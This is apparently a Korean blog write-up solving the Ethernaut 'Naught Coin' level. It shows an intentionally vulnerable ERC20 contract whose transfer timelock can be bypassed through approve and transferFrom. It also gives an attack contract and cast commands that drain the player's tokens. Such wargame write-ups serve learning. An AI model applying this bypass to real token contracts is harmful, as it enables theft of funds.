[ethernaut] Naught Coin

wooz3k.eth·2023년 1월 3일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

이 문제는 ERC20에 대한 이해를 하고 있냐를 묻는 문제이다. 문제는 openzeppelin에 ERC20을 상속받은 컨트렉트에서 transferlockTokens라는 modifier로 override를 하여 transfer를 오랜기간 하지못하게 막아놨는데 player의 token balance를 0으로 만들 수 있냐는 문제이다.

ERC20에서 token을 전송하는 것은 transfer 이외에 transferFrom이 존재한다. transferFrom은 token의 owner가 approve를 호출하여 제 3자가 owner의 token을 일정량 전송할 수 있게 허용해주는 함수이다. approve를 통하여 허가 받은 제 3자는 transferFrom을 통해 마치 owner의 token이 자기 것 처럼 전송을 할 수 있다. 위 문제에서는 approvetransferFrom에 대한 제약이 걸려있지 않기 때문에 이를 수행해주면 player의 token balance를 0으로 만들 수 있다.

제 3자는 EOA로 해도 되고, CA로 해도되는데 필자는 CA로 작성하여 문제를 풀이하였다.

contract attack
{
    NaughtCoin public target = NaughtCoin(0x1946f82e8e2F03037e7403a32AFd53ec191b2cB1);

    function atk() public
    {
        target.transferFrom(msg.sender, address(this), 1000000000000000000000000);
    }
}
cast send --rpc-url $G_RPC --private-key $P_KEY 0x1946f82e8e2F03037e7403a32AFd53ec191b2cB1 "approve(address, uint256)" 0xE5abf1601B56B3ceDA08E5A152120EC486B4510E 1000000000000000000000000
cast send --rpc-url $G_RPC --private-key $P_KEY 0xE5abf1601B56B3ceDA08E5A152120EC486B4510E "atk()"
profile
Theori ChainLight Web3 Researcher

0개의 댓글